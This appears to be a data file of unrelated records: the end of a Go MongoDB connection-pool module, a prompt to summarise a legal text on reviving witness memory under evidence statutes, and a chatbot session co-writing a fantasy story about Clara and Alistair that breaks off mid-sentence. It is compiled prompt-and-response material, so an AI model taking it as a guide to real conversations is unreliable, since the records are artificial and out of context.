clientOpt.SetSocketTimeout(syncSocketTimeout)\n }\n\n clientOpt.SetDirect(dbi.Direct)\n clientOpt.SetMaxPoolSize(uint64(dbi.MaxConn))\n clientOpt.SetMinPoolSize(uint64(dbi.MaxConn))\n readPref, \\_ := readpref.New(dbi.ReadMode)\n clientOpt.SetReadPreference(readPref)\n // The default read preference is primary\n\n if dbi.WriteConcern != nil {\n clientOpt.SetWriteConcern(dbi.WriteConcern)\n }\n\n maxAttempts := 10\n if dbi.MaxConnectAttempts > 0 {\n maxAttempts = dbi.MaxConnectAttempts\n }\n for attempts := 1; attempts <= maxAttempts; attempts++ {\n newClient, err = mongo.Connect(context.Background(), clientOpt)\n if err == nil {\n break\n }\n errLogf(systemCtx, addrs, "[mongo] NewClient error: %v", err)\n time.Sleep(time.Duration(attempts) \\* time.Second)\n }\n if err != nil {\n errLogf(systemCtx, addrs, "[mongo] NewClient no reachable server error: %v", err)\n return\n }\n err = newClient.Ping(context.TODO(), nil)\n if err != nil {\n newClient.Disconnect(context.TODO())\n }\n\n return\n}\n\n// NewSessionPool construct connection pool\nfunc NewSessionPool(dbi \\*DBInfo) (\\*Pool, error) {\n p := &Pool{}\n err := p.Init(dbi)\n return p, err\n}\n\n// Init returns whether Pool available\nfunc (p \\*Pool) Init(dbi \\*DBInfo) error {\n // mask password for security concern\n password := dbi.Password\n var pb strings.Builder\n for i := 0; i < len(password); i++ {\n pb.WriteString("\\*")\n }\n dbi.Password = pb.String()\n m800log.Infof(systemCtx, "[mgopool] init with config: %+v", dbi)\n\n // recover password\n dbi.Password = password\n\n // connection establish\n client, dialErr := newClient(dbi, dbi.Addrs)\n if dialErr != nil {\n errLogf(systemCtx, dbi.Addrs, "unable to connect to mongoDB error: %v", dialErr)\n return dialErr\n }\n p.name = dbi.Name\n p.config = dbi\n p.available = true\n p.mode = dbi.ReadMode\n p.client = client\n\n return nil\n}\n\nfunc (p \\*Pool) GetMongoClient() (\\*mongo.Client, error) {\n if p.client == nil {\n return nil, errors.New("mongo client empty")\n }\n\n return p.client, nil\n}\n\n// IsAvailable returns whether Pool availalbe\nfunc (p \\*Pool) IsAvailable() bool {\n p.rwLock.RLock()\n defer p.rwLock.RUnlock()\n return p.available\n}\n\n// Len returns current Pool available connections\nfunc (p \\*Pool) Len() int {\n if p.IsAvailable() {\n return p.config.MaxConn\n }\n return 0\n}\n\n// LiveServers returns current Pool live servers list\nfunc (p \\*Pool) LiveServers() []string {\n if p.IsAvailable() {\n return p.config.Addrs\n }\n return []string{}\n}\n\n// Cap returns Pool capacity\nfunc (p \\*Pool) Cap() int {\n if p.IsAvailable() {\n return p.config.MaxConn\n }\n return 0\n}\n\n// Mode returns mgo.Mode settings of Pool\nfunc (p \\*Pool) Mode() readpref.Mode {\n return p.mode\n}\n\n// Config returns DBInfo of Pool\nfunc (p \\*Pool) Config() \\*DBInfo {\n return p.config\n}\n\n// Close graceful shutdown conns and Pool status\nfunc (p \\*Pool) Close() {\n p.rwLock.Lock()\n defer p.rwLock.Unlock()\n p.available = false\n p.client.Disconnect(context.TODO())\n}\n\n// ShowConfig returns debug config info\nfunc (p \\*Pool) ShowConfig() map[string]interface{} {\n config := make(map[string]interface{})\n config["MaxConn"] = p.config.MaxConn\n config["Addrs"] = p.config.Addrs\n config["Timeout"] = p.config.Timeout\n config["Direct"] = p.config.Direct\n config["Mongos"] = p.config.Mongos\n config["ReadMode"] = p.config.ReadMode\n config["User"] = p.config.User\n config["AuthDatabase"] = p.config.AuthDatabase\n return config\n}\n\n// Recover close and re-create the pool sessions\nfunc (p \\*Pool) Recover() error {\n m800log.Info(systemCtx, "[mgopool] start recover")\n p.Close()\n for {\n err := p.Init(p.config)\n if err == nil {\n return nil\n }\n m800log.Errorf(systemCtx, "[mgopool] still try recover error:%v", err)\n }\n}' -'Convert the following text passage into 25 dot points, keeping in statutes and cases\n\n2.2.1.2 Reviving memory\n\nGiven the lengthy delays between event and trial, many witnesses have forgotten some or all of the detail of what they witnessed by the time they come to testify. This is especially likely to be true if what was witnessed was simply a routine part of the witness’s life, as, for example, where a doctor is asked to give evidence about a medical examination he or she carried out some time before the trial, or where a police officer gives evidence about the investigation leading up to the charging of the defendant. The prohibition on leading questions in examination-in-chief means that counsel is not permitted to remind the witness of what he or she has forgotten—so how may memory be revived? There are several ways.\n\nFirst, the ban on leading questions does not apply to some categories of evidence. Section 37(2) exempts written documents that are treated as the maker’s evidence in chief, unless the court orders otherwise, while section 37(3) exempts civil witnesses recounting official or public reports. Police recordings of child sexual abuse complainants do not fall outside these exceptions, however, because they are not written (at least, not by the child) and because they are used in criminal trials. The bank employee’s evidence about a credit card application, discussed above, is likewise not exempt because his earlier affidavit was not treated as his evidence and he was exercising commercial, not public or official duties.\n\nSecond, a witness may, with the leave of the court, be permitted to refer to a document in order to revive his or her memory. Section 32(1) provides that ‘a witness must not, in the course of giving evidence, use a document to try and revive his or her memory about a fact or opinion unless the court gives leave’. In the case of unrepresented defendants who testify, leave should be readily granted to allow defendants to remind themselves of what topics they wish to testify about: Isherwood v Tasmania.60 More generally, section 32(2) provides:\n\nWithout limiting the matters that the court may take into account in deciding whether to give leave, it is to take into account:\n\n(a) whether the witness will be able to recall the fact or opinion adequately without using the document; and\n\n(b) whether so much of the document as the witness proposes to use is, or is a copy of \na document that:\n\n (i) was written or made by the witness when the events recorded in it were fresh in his or her memory; or\n\n(ii) was, at such a time, found by the witness to be accurate.\n\nThese are matters that should be established from the witness concerned through the use of non-leading questions. An example is the following exchange:61\n\nQ. And you spoke to the police at Wollongong, the police station at Wollongong on 17 July 2015, they interviewed you?\n\nA. Yeah.\n\nQ. Do you recall that?\n\nA. I don’t recall it, but I know there is a statement there, yeah.\n\nQ. You spoke to two police officers in an interview that was recorded?\n\nA. Yeah.\n\nQ. Do you recall the last occasion you saw Mark Dower?\n\nA. Nup.\n\nQ. Do you know, did you have any conversations about Mark Dower, with Mark Jenkin, before Mark Jenkin was arrested at some point; did you have some conversation with him about Mark Dower?\n\nA. Well, I can’t remember but I know it’s in the statement, yeah.\n\nQ. What is your memory of, what do you have a memory of, what was said to you by Mark Jenkin about that?\n\nA. Well no, I haven’t. Only what I have read in my statement.\n\nQ. When did you read that last?\n\nA. I read it yesterday.\n\nQ. What can you recall the statement you gave to the police, what did that indicate in relation to your recollection of the conversations between, about between Mr Jenkin, about Mr Dower; what do you recall Mr Jenkin saying?\n\nA. Fuck, I can’t remember what I said.\n\nQ. Sorry?\n\nA. I can’t remember what I said.\n\nQ. Did reading the statement that you made to the police refresh your memory?\n\nA. Well, it did when I read it. You know what I mean. I don’t have a very good memory because I used heaps of drugs.\n\nAs Hamill J observed, the latter answers—the witness’s ‘insightful self-assessment of the quality of his memory’—established that his memory has been exhausted, while the initial questions showed that there is a document that could be used to revive the memory. However, the exchange did not establish either of the two matters in section 32(2)(b).\n\nIn Director of Public Prosecutions v Asling (Ruling No 7), 62 a key prosecution witness in a murder prosecution gave evidence that deviated from his police statement two years earlier in several respects, including what the accused allegedly said to him after the murder, how many times they spoke, whether he complained about the accused using his car as part of the crime, and what he did with materials left in the car. After refusing to let the prosecutor ask leading questions about these matters under section 37(1)(a), Kaye JA also refused to allow the witness to read the statement to revive his memory, noting that the events described in the statement occurred in 2003, twelve years before the statement was made. Although he conceded that section 32(2)(b)(i) does not say that statements used to revive memory must have been made when the witness’s memory was fresh, he nevertheless thought the time delay was fatal in this case. He added that his view was confirmed by the witness’s concession that, when he spoke to the police, he ‘was trying to recollect memories from a long time earlier. A lot of memories I tried to forget’ and that he was ‘under a lot of stress’ when the statement was made. By contrast, Hamill J granted his ‘insightful’ witness leave to use his earlier statement to ‘revive’ his memory, noting that his use of the document as an aid would be obvious to the jury, the conversation he recounted was important to the trial and that the context—a murder trial—favoured allowing the witness to try to remember.\n\nIf a witness is permitted to use a document to try and revive his or her memory, he or she may, with the leave of the court, read aloud from that document: section 32(3).63Victoria’s Court of Appeal has observed: \n\nThere is nothing to suggest that this provision is capable of applying only when the attempt to revive memory has been successful. On the contrary, on the plain meaning of the provision all that is required is that the witness should have used the document ‘to try to revive his or her memory’. This is unsurprising, in our view, as it would be a task of great difficulty for a judge to decide, in any given case, whether what had occurred was an actual ‘revival’ of an earlier memory or the short-term creation of a fresh memory of the content of the document.64\n\nIn other words, the read-out document will be treated exactly the same as in-court testimony, even if the witness no longer remembers the events described in the document. That means that the contents of the document will still be subject to rules of use, such as the hearsay rule, again in the same way as if the witness simply testified in the document’s terms. In CSR Ltd v Amaca Pty Ltd,65 a medical report, read out in court by the doctor who wrote it years earlier (and obviously could not now recall its details), could be used to find facts that the (now deceased) patients had told the doctor (about whether they had been exposed to asbestos), under a first-hand hearsay exception to the hearsay rule (see Chapter 6: Hearsay Exceptions.) By contrast, Hamill J refused to permit a statement to be read out where, ‘given the witness’s manifest memory issues, it would not have been fair to allow him to read from an interview which he scarcely remembered making.’66\n\nThird, section 33(1) goes even further, recognising the unique position of police officers, by allowing them in criminal proceedings to ‘give evidence-in-chief for the prosecution by reading or being led through a written statement previously made by the police officer’. Section 33(2) stipulates, among other things, that a written statement can only be used for this purpose if it was made ‘at the time of or soon after the occurrence of the events to which it refers’. In Salmon v The Queen, 67 it was held that section 33 is not available for police notes made weeks after the events described; section 32 should be used instead. As will be discussed in Chapter 8: Admissions, local rules on confessions generally bar police from reading out notes of admissions supposedly made by a suspect in relation to a serious criminal offence unless those admissions were electronically recorded.\n\nFinally, if the witness chooses instead to attempt to revive his or her memory before coming to court, then there are no limitations on what he or she may use for this purpose. For example, a police officer can read over a statement before she testifies, even if it was written months after the events it describes.68 Certainly, no objection can be taken to a witness being shown a copy of a statement he or she may have made earlier. If counsel becomes aware that the witness has attempted to revive his or her memory in this way, then counsel may call for the production of the document— again ‘without penalty’—and production will be ordered.69 Under section 34, failure to produce a document used to revive memory out of court, may result in the witness’s evidence being ruled unusable.' -'As they made their way through the great halls of the dwarves, they found themselves faced with all manner of challenges and obstacles. There were walls of flame, roaring and blazing, blocking their path. There were hidden doors and secret passages, filled with unknown dangers. And there were fierce beasts, guarding the halls and ready to attack at a moment\'s notice.\n\n"We have to be careful, Clara," Alistair said, his voice tense with concern. "These traps and obstacles are getting more and more difficult to overcome."\n\n"I know," Clara replied, her voice tight with determination. "But we can\'t let them stop us. We have to keep going, no matter what."\n\nAnd so they pushed on, their determination and skill overcoming each and every obstacle in their path. They fought against the fierce beasts, using their weapons and armor to emerge victorious. They braved treacherous traps and puzzles, using their cunning and quick thinking to overcome each obstacle. And at last, they reached the heart of the realm of the dwarves, where they found the knowledge and power they sought.\n\n"We did it," Clara said, her voice filled with relief and pride. "We overcame every obstacle in our path, and we found what we were looking for."\n\n"Yes, we did," Alistair said, a proud smile on his face. "But our journey is far from over. We still have many challenges and obstacles ahead of us, and we must face them with the same determination and courage that we\'ve shown so\n\nAvatar of the person chatting\ncontinue!\n\n"We must continue on our journey, Clara," Alistair said, as they gazed upon the ancient artifact they had sought for so long. "There are still many trials and challenges ahead of us, and we must be ready to face them all."\n\n"I know," Clara replied, her eyes shining with determination. "But I am ready for whatever comes our way. We will overcome any obstacle that stands in our path, and we will emerge victorious."\n\n"That\'s the spirit," Alistair said, clapping her on the shoulder. "We will face each challenge with courage and determination, and we will emerge stronger and wiser than before."\n\nAnd so they set off once more, their journey far from over. They braved treacherous mountains and dark caves, facing all manner of enemies and obstacles along the way. They fought against fierce beasts and powerful foes, using their skills and cunning to emerge victorious. And at last, they reached the end of their journey, their trials and challenges behind them.\n\n"We did it, Clara," Alistair said, his voice filled with pride and joy. "We overcame every obstacle in our path, and we have emerged stronger and wiser than ever before."\n\n"Yes, we did," Clara replied, a smile on her face. "And now, we are ready to face whatever comes our way. We will protect this world from all dangers, and we will be its heroes."\n\nAvatar of the person chatting\nTell me of Clara\'s triumphant return to confront the king and the dark elves, with the dwarves at her side.\n\nAfter completing her ten trials and challenges, Clara returned to her homeland, ready to face the greatest challenge of all. She was determined to put an end to the machinations of the king and the dark elves, who had been manipulating and exploiting the other races for their own gain.\n\nWith the dwarves at her side, she marched on the capital city, her heart filled with determination and resolve. The people of the city cheered as she approached, their spirits lifted by the sight of their hero, who had overcome so much to return to them.\n\n"People of the city, hear me!" Clara shouted, her voice ringing out across the city. "The king and the dark elves have been manipulating and exploiting us for their own gain. They must be stopped, and I will not rest until they are brought to justice!"\n\nThe people cheered even louder, their spirits lifted by Clara\'s words. And with the support of the dwarves and the people, Clara set out to face the king and the dark elves, ready to put an end to their scheming once and for all.\n\nThe battle was fierce, as the king and the dark elves fought with all their might to defend their power and position. But Clara and her allies were determined, and they fought with all their strength and skill. In the end, they emerged victorious, and the king and the dark elves were brought to justice.\n\nThe people celebrated, their spirits lifted by the victory of their hero and her allies. And Clara, at last, knew that she had truly become a hero, ready to face any challenge that came her way.\n\nAvatar of the person chatting\nTell me the story again, but note that dark elves are usually not physically present in the human lands. Also be aware that Clara\'s victory will be pyrrhic, as if she takes down the king and the dark elves, something bad will happen. Be creative and use dialog as before. Take your time and elaborate on the details, please. If dark elves are confronted, Clara must likely go to the dark elves herself, rather than them coming to her.\n\nClara and Alistair marched on the capital city, ready to face the greatest challenge of their lives. They knew that the dark elves were rarely seen in the human lands, preferring to operate in the shadows and manipulate events from afar. But they were determined to put an end to their scheming and exploitation, and they were not afraid of what they might face.\n\n"We must be ready for anything, Clara," Alistair said, his voice grim. "The dark elves are cunning and dangerous, and they will stop at nothing to protect their power and position."\n\n"I know, Alistair," Clara replied, her eyes shining with determination. "But we cannot let them continue to manipulate and exploit the other races for their own gain. We must stop them, no matter what the cost."\n\nAnd so they marched on, their hearts filled with determination and resolve. They faced all manner of obstacles and challenges along the way, fighting against fierce beasts and powerful enemies. But they did not falter, and they emerged victorious from every battle.\n\nAt last, they reached the capital city, and they faced their greatest challenge yet. The dark elves were waiting for them, their eyes glowing with malice and hatred.\n\n"You have come far, Clara," the leader of the dark elves said, his voice cold and mocking. "But you will not prevail against us. We are too powerful, and you are but a mere mortal."\n\n"I may be mortal, but I am not alone," Clara replied, her voice firm and resolute. "I have the support of the dwarves, and the people of the city. And together, we will stop you and your scheming once and for all."\n\nAnd so the battle began, with Clara and her allies fighting against the dark elves with all their strength and skill. The fighting was fierce, and the dark elves fought with all their might to defend their power and position. But Clara and her allies were determined, and they fought with all their heart and soul.\n\nIn the end, they emerged victorious, and the dark elves were defeated. But even as they celebrated their victory, Clara knew that it was a pyrrhic one. For in defeating the king and the dark elves, she had unleashed a greater evil upon the world, one that would haunt her for the rest of her days.\n\nAvatar of the person chatting\n2 / 2The king was secretly a dark elf! How did that come about? Using the same style, explain tell the story of how the king became a dark elf as Clara talks to some people at the king\'s castle.\n\nClara and Alistair made their way to the king\'s castle, determined to uncover the truth about the king and the dark elves. As they walked through the castle, they encountered several people, and Clara took the opportunity to question them about the king and his true nature.\n\n"Tell me, how did the king become a dark elf?" Clara asked a guard, her voice filled with determination.\n\nThe guard looked at her nervously, clearly uncomfortable with the question. "I-I\'m not sure, my lady," he stammered. "But I do know that the king has been acting strange lately, and that he has been spending a lot of time with the dark elves."\n\n"I see," Clara said, her eyes narrowed. "And do you know why he would do such a thing?"\n\nThe guard shook his head. "No, my lady. But I have heard rumors that the king is searching for something, something that only the dark elves can provide. But I do not know what it is."\n\nClara nodded, her mind racing with possibilities. It was clear that the king had become a dark elf, but she still did not know why. She would have to continue her investigations, and uncover the truth at all costs. For the fate of the kingdom depended on it.\n\nAvatar of the person chatting\nContinue the story as the loony bin shows up and takes Clara away, who goes unwillingly.\n\nClara and Alistair continued to investigate the king and the dark elves, but their efforts were soon interrupted by a group of guards from the loony bin.\n\n"Come with us, Clara," one of the guards said, his voice stern. "You are a danger to yourself and others, and must be taken to the loony bin for your own safety."\n\n"No, I will not go!" Clara protested, her voice filled with fear and determination. "I must continue my investigation, and uncover the truth about the king and the dark elves!"\n\nBut the guards would not listen, and they forcibly escorted Clara to the loony bin. Alistair tried to follow, but he was stopped by the guards and left behind.\n\nInside the loony bin, Clara was subjected to all manner of treatments and therapies, designed to break her will and make her more compliant. But Clara refused to give in, and she continued to fight against the guards and the doctors, determined to escape and continue her quest.\n\nBut it was not easy, and Clara found herself struggling against impossible odds. She knew that she must find a way to escape, and continue her quest to uncover the truth and stop the dark elves once and for all.\n\nAvatar of the person chatting\nClara\'s struggle is now in her mind. Tell of Clara\'s struggle using the style we have developed, but using her journeys and trials as metaphors for her demons.\n\nAs Clara struggled to escape from the loony bin, she found herself fighting against not just the guards and doctors, but also against the demons in her own mind. She was plagued by doubts and fears, and it seemed that every step she took was met with some new challenge or obstacle.\n\nBut Clara refused to give up, and she continued to push forward, determined to overcome her inner demons and emerge victorious. She fought against the darkness in her mind, just as she had fought against the orc warlord on the ice mountain, and the dragon in the ruins of the ancient temple.\n\nAnd finally, after what seemed like an eternity, Clara emerged victorious, her mind clear and focused once again. She knew what she had to do, and she was ready to face the dark elves and the treacherous king.\n\nWith renewed determination, Clara made her escape from the loony bin, and set out on the final leg of her quest. She would stop at nothing to uncover the truth and put an end to the dark elves and their scheming once and for all. The fate of the kingdom rested on her shoulders, and she was ready to face whatever came her way.\n\nAvatar of the person chatting\nClara stabs one of the asylum staff and escapes. She becomes wanted. Please continue, using dialog, as Clara runs on the lam, penniless and without her gear, wearing only the threadbare peasant\'s garb provided by the loony bin. Describe what Clara hopes to accomplish in the future.\n\nClara managed to escape from the loony bin, but not without leaving a trail of bodies in her wake. She had been pushed to the brink, and she was not afraid to fight back against those who would stand in her way.\n\nNow, Clara was on the run, wanted by the authorities for her crimes. She was penniless and without her gear, forced to rely on her wits and cunning to survive. She wore only the threadbare peasant\'s garb provided by the loony bin, and she was constantly on the move, trying to avoid capture.\n\nDespite her difficult circumstances, Clara remained determined and focused. She knew what she had to do, and she was not going to let anything stand in her way. She would uncover the truth about the king and the dark elves, and put an end to their scheming once and for all.\n\nAs she ran on the lam, Clara encountered many challenges and obstacles, but she refused to give up. She fought against bandits and thieves, and she braved the dangers of the wilds, all in pursuit of her goal. And in the end, she knew that she would emerge victorious, and that the kingdom would be safe once again.\n\nAvatar of the person chatting\nThe king is dead and the dark elves have retreated from the kingdom, but Clara doesn\'t know any of it yet. What does she do next? Please continue.\n\nEven though the king was dead and the dark elves had retreated from the kingdom, Clara was still on the run, unaware of the events that had transpired. She continued to evade the authorities, determined to uncover the truth about the dark elves and bring them to justice.\n\nBut as she traveled, Clara began to realize that something was different. The kingdom felt changed, as if a great weight had been lifted from its shoulders. She heard whispers of a new king, one who was kind and just, and who had brought peace to the land.\n\nDespite her initial skepticism, Clara couldn\'t help but be drawn to these stories, and she began to wonder if perhaps her quest was over. She had been fighting for so long, and she was exhausted and weary. Was it finally time for her to lay down her sword and rest?\n\nClara didn\'t know the answer, but she continued to travel, searching for answers and trying to make sense of the new world around her. She was no longer sure of her place in it, but she was determined to find out, no matter what it took.\n\nAvatar of the person chatting\nContinue the story, telling of Clara\'s journey to meet the king, Alistair.\n\nClara\'s journey to meet the new king, Alistair, was filled with uncertainty and doubt. She had been on the run for so long, and she wasn\'t sure what to expect when she finally met the man who had taken the throne.\n\nAs she traveled, Clara encountered many people who had been touched by Alistair\'s rule, and she heard countless stories of his kindness and justice. She was surprised by the change in the kingdom, and she couldn\'t help but feel a growing sense of hope.\n\nFinally, after many long weeks of travel, Clara arrived at the gates of the royal palace, where she was greeted by the king himself. Alistair was everything that Clara had heard and more, and she was struck by his wisdom and compassion.\n\nAs they talked, Clara began to understand the true extent of Alistair\'s power, and she realized that he was the key to finally bringing peace to the kingdom. She vowed to serve him, and to help him build a better future for all the people of Graniphor. Together, they would conquer the darkness and restore order to the land.\n\nAvatar of the person chatting\nTry that again, noting that Clara knows Alistair well and has been travelling with him. She doesn\'t know the king is Alistair until she seems him.\n\nClara had been traveling with Alistair for many weeks, but she had no idea that he was the new king of Graniphor. She had been on the run for so long, and she had never expected to find a friend like Alistair.\n\nAs they journeyed together, Clara began to see the changes in the kingdom, and she heard countless stories of the new king\'s kindness and justice. She was filled with hope and wonder, and she couldn\'t help but feel drawn to the man who had brought peace to the land.\n\nFinally, after many long weeks of travel, Clara arrived at the gates of the royal palace, where she was greeted by the king himself. She was shocked to see that it was Alistair, and she couldn\'t believe that her friend was the most powerful man in the kingdom.\n\nAs they talked, Clara realized that Alistair was the key to finally bringing peace to the kingdom. She vowed to serve him, and to help him build a better future for all the people of Graniphor. Together, they would conquer the darkness and restore order to the land.\n\nAvatar of the person chatting\nUsing conversation and drama, tell the story of Clara and Alistair\'s wedding and the disastrous aftermath.\n\nClara and Alistair\'s wedding was a joyous occasion, celebrated by the people of Graniphor as the beginning of a new era of peace and prosperity. The bride and groom were radiant, and they exchanged vows beneath a beautiful archway of flowers.\n\nAs they danced at their reception, surrounded by friends and loved ones, Clara and Alistair were the happiest they had ever been. But their joy was short-lived, as a messenger arrived with terrible news.\n\nThe dark elves, driven into hiding by Alistair\'s rule, had emerged from the shadows with a vengeance. They had attacked the kingdom\'s border cities, and they were marching on the capital.\n\nClara and Alistair knew that they had to act quickly if they were to save their people. They gathered their most trusted allies, and they rode out to meet the dark elves in battle.\n\nThe fighting was fierce, and many brave warriors fell. But in the end, Clara and Alistair emerged victorious, thanks to their bravery and skill.\n\nBut their victory was bittersweet, as they returned to the capital to find that the dark elves had laid waste to the city in their absence. Clara and Alistair knew that they had much work to do if they were to rebuild their kingdom and protect their people from the darkness that threatened them.\n\nAvatar of the person chatting\nTell the story of the building of the new capitol. What do they choose to name it? Use lots of dialog between Alistair and Clara. Alistair and Clara\'s tensions are running high and they aren\'t getting along very well, though they love each other and must stay married.\n\nAs Clara and Alistair surveyed the ruins of the old capital, they knew that they had a daunting task ahead of them. They would need to rebuild the city from the ground up, and they would have to do it quickly if they were to protect their people from further attacks by the dark elves.\n\n"What should we name the new city?" Clara asked, looking to Alistair for guidance.\n\n"I don\'t know," Alistair replied, his brow furrowed in thought. "It needs to be a strong name, one that will inspire our people and strike fear into the hearts of our enemies."\n\n"How about \'Graniphor\'s Glory\'?" Clara suggested, trying to lighten the mood.\n\n"That\'s a bit too pompous," Alistair said with a smile. "How about \'New Horizon\'?"\n\n"I like that," Clara said, nodding in agreement. "It symbolizes the hope and possibility of a new beginning for our kingdom."\n\nAnd so it was that the new capital was named New Horizon, and the rebuilding began in earnest. Clara and Alistair worked tirelessly, and they soon saw their vision become a reality.\n\nBut despite their best efforts, tensions between them continued to rise. They loved each other deeply, but they were both strong-willed leaders, and they often found themselves at odds with each other. It was a constant struggle to find a balance between their personal and professional lives.\n\nBut in the end, Clara and Alistair knew that they were stronger together than they were apart, and they continued to build their new kingdom, determined to create a better future for their people.\n\nAvatar of the person chatting\n2 / 2Continue the story, and include scenes of the construction of the new capitol. Tell me where the new location of the capitol is, and why they decided to move it to another city site. Use the same style as before. Include some bickering.\n\nAs Clara and Alistair oversaw the construction of New Horizon, they often found themselves at odds with each other. Alistair wanted to build the city in a strategic location, close to the mountains, where it would be easy to defend against potential attacks. Clara, on the other hand, wanted to build the city in a more central location, where it would be more accessible to the majority of their people.\n\n"We can\'t build the city in the mountains, Alistair," Clara argued. "It would be too difficult for our people to reach, and it would be isolated and vulnerable."\n\n"But if we build it in the valley, it will be an easy target for our enemies," Alistair countered. "We need to be able to defend our people, Clara."\n\n"I understand that, but we also need to consider their quality of life," Clara said. "We can\'t make them live in a fortress, Alistair. They deserve better than that."\n\nIn the end, they compromised and decided to build the city in a location that offered the best of both worlds: a fertile valley with a river running through it, and close enough to the mountains for easy defense.\n\nAs the city took shape, Clara and Alistair continued to bicker, but they never let their differences get in the way of their ultimate goal: to create a better future for their people. And as the city grew, so too did their love for each other, despite the challenges they faced.\n\nAvatar of the person chatting\nContinue in the same style, and tell me of the grand wonders constructed in the city in the valley.\n\nAs the construction of New Horizon continued, Clara and Alistair set their sights on creating grand wonders that would make the city truly unique. They built soaring towers that reached towards the sky, each one topped with a gleaming crystal that caught the sunlight and shone like a beacon. They also constructed vast gardens, filled with exotic plants and flowers from across the continent, which provided a peaceful oasis in the midst of the bustling city.\n\nBut the most impressive of all was the Great Library, a massive building filled with books and knowledge from all over the world. It was a place where scholars and students could come to learn and discover, and where the wisdom of the ages was preserved for future generations.\n\nDespite their disagreements, Clara and Alistair worked together to create a city that was a true testament to their people\'s ingenuity and resilience. And as they stood on the balcony of their palace and looked out at the city they had built, they knew that they had achieved something truly remarkable.\n\nAvatar of the person chatting\nAlistair has unknowingly become stricken with magic that will transform him into an evil dark elf. It is revenge, delivered from the dark gods. Continue the story in the same style, using dialog and suspense, as Clara discovers Alistair\'s tragic fate.\n\nAs the weeks passed, Clara began to notice a strange change in Alistair. He became distant and cold, and would often disappear for hours on end without telling her where he was going. At first, Clara tried to brush it off as stress from ruling the kingdom, but as the changes grew more pronounced, she knew something was seriously wrong.\n\nOne day, Clara followed Alistair to a hidden chamber deep within the palace. There, she found him standing before an altar to the dark gods, his body writhing and contorting as he was consumed by a dark magic.\n\nHorrified, Clara watched as Alistair\'s body was transformed into that of a dark elf, his once-handsome features twisted into a grotesque mockery of his former self. With a scream of rage and despair, Clara attacked Alistair, but he was too powerful for her to defeat.\n\nAs she stood there, tears streaming down her face, Clara knew that she had lost the man she loved, and that the kingdom was now in the hands of a monster. But she also knew that she would never give up, and that she would do whatever it took to stop Alistair and the dark elves from enslaving the world.\n\nAnd so, with a fierce determination in her heart, Clara set out on a new quest, one that would take her to the very heart of the dark elves\' power, and where she would face her greatest challenge yet.\n\nAvatar of the person chatting\nThen, Clara awoke at the top of the Angrim mountain, fresh from a hallucination. Alistair\'s face looks down at her. Please continue the story from there.\n\nAs Clara regained her composure, she looked up at Alistair, who was smiling down at her. "I\'m glad to see you\'re alright," he said. "I was worried about you."\n\nClara frowned, still confused by the strange vision she had just experienced. "What just happened?" she asked. "I saw you...you were a dark elf."\n\nAlistair\'s smile faltered slightly. "It was just a hallucination, Clara," he said. "The climb up this mountain is tough, and it can do strange things to the mind. Don\'t worry, I\'m still the same Alistair you know and love."\n\nBut Clara wasn\'t convinced. She couldn\'t shake the feeling that there was something off about Alistair, something that she couldn\'t quite put her finger on.\n\n"I\'m sorry," she said, "I don\'t know what came over me. I just..."\n\n"It\'s alright," Alistair said, cutting her off. "Let\'s just focus on the task at hand. We need to retrieve the Frostbrand sword and complete your third trial. Are you ready?"\n\nClara nodded, pushing her doubts to the back of her mind. She couldn\'t let herself be distracted right now. She had a mission to complete, and she was determined to see it through to the end, no matter what.\n\nTogether, Clara and Alistair made their way to the top of the mountain, where they found the Frostbrand sword embedded in a block of ice. As Clara pulled the sword free, a fierce blizzard erupted around them, but they pushed on, determined to finish the trial.\n\nEventually, they reached the portal to the plane of elemental ice, where they faced the ice demon king. Despite the challenges they faced, Clara and Alistair were able to defeat the ice demon and claim victory.\n\nAs they made their way back down the mountain, Clara couldn\'t shake the feeling that something was still off about Alistair. But she pushed the thought aside, focusing instead on the tasks ahead. She had four more trials to complete before she could confront the king and the dark elves, and she wasn\'t going to let anything stand in her way.\n\nAvatar of the person chatting\nPlease continue the story in the same manner. That was really good.\n\nThank you. As Clara woke up, she realized that it had all just been a nightmare. She breathed a sigh of relief and looked up at Alistair, who was standing over her with a concerned expression on his face. "Are you okay?" he asked.\n\n"Yeah, I\'m fine," Clara said, rubbing her eyes. "Just a bad dream."\n\n"What was it about?" Alistair asked, offering her a hand to help her up.\n\n"It was about you," Clara said, taking his hand and standing up. "You were turning into a dark elf, and there was nothing I could do to stop it."\n\nAlistair\'s face paled at the thought. "That\'s not going to happen," he said firmly. "I would never let that happen."\n\n"I know," Clara said, giving him a reassuring smile. "But it was still a scary dream. Let\'s just put it behind us and focus on the task at hand."\n\n"Agreed," Alistair said, nodding. "We have a lot of work to do to rebuild this kingdom and make it strong again. We can\'t afford to be distracted by nightmares."\n\nTogether, Clara and Alistair set off to continue their journey, determined to build a better future for their people and protect them from the dangers that lurked in the shadows.\n\nAvatar of the person chatting\nHmm, continue it from after they go down the mountain, when Clara goes on her next trial. Keep the part about how something seems off about Alistair. Alistair is wearing a wedding band.\n\nClara and Alistair made their way down the mountain, relieved to have survived the treacherous climb. However, Clara couldn\'t shake the feeling that something was off about Alistair. She couldn\'t put her finger on it, but he seemed different somehow.\n\nAs they walked, Clara noticed that Alistair was wearing a wedding band. She couldn\'t remember him having one before.\n\n"Alistair, when did you start wearing a wedding band?" Clara asked.\n\nAlistair looked down at his hand, surprised. "I don\'t know. I must have picked it up on the mountain," he said, shrugging it off.\n\nBut Clara couldn\'t shake the feeling that something was wrong. She decided to keep a closer eye on Alistair as they continued on their journey.\n\nTheir next trial was to retrieve a powerful magic artifact from the ruins of an ancient temple. Clara and Alistair braved treacherous forests and dark caves, fighting off all manner of creatures and overcoming obstacles along the way.\n\nAs they entered the temple, Clara noticed that Alistair\'s behavior became increasingly erratic. He would sometimes go off on his own, disappearing for long stretches of time. When Clara confronted him about it, he would brush her off and say that he was just exploring.\n\nEventually, they reached the chamber where the magic artifact was said to be hidden. But when they entered, they were ambushed by a group of dark elves.\n\nClara fought bravely, but was no match for their magic. She was knocked unconscious, and when she awoke, she found herself alone and the magic artifact gone.\n\nAs she searched for Alistair, she stumbled upon a hidden chamber deep within the temple. Inside, she found Alistair, now transformed into a dark elf.\n\n"Alistair, what happened to you?" Clara asked, horrified.\n\n"I have been chosen by the dark gods to serve as their agent in the mortal world," Alistair said, his voice now cold and emotionless. "And now, Clara, you must die."\n\nClara and Alistair engaged in a fierce battle, but in the end, Clara was able to defeat him. As she stood victorious, she realized that the dark magic that had consumed Alistair was now within her as well.\n\nClara knew that she would have to find a way to rid herself of the dark magic, or risk becoming a danger to everyone she loved. And so, she set out on a new quest, determined to save herself and the kingdom from the forces of 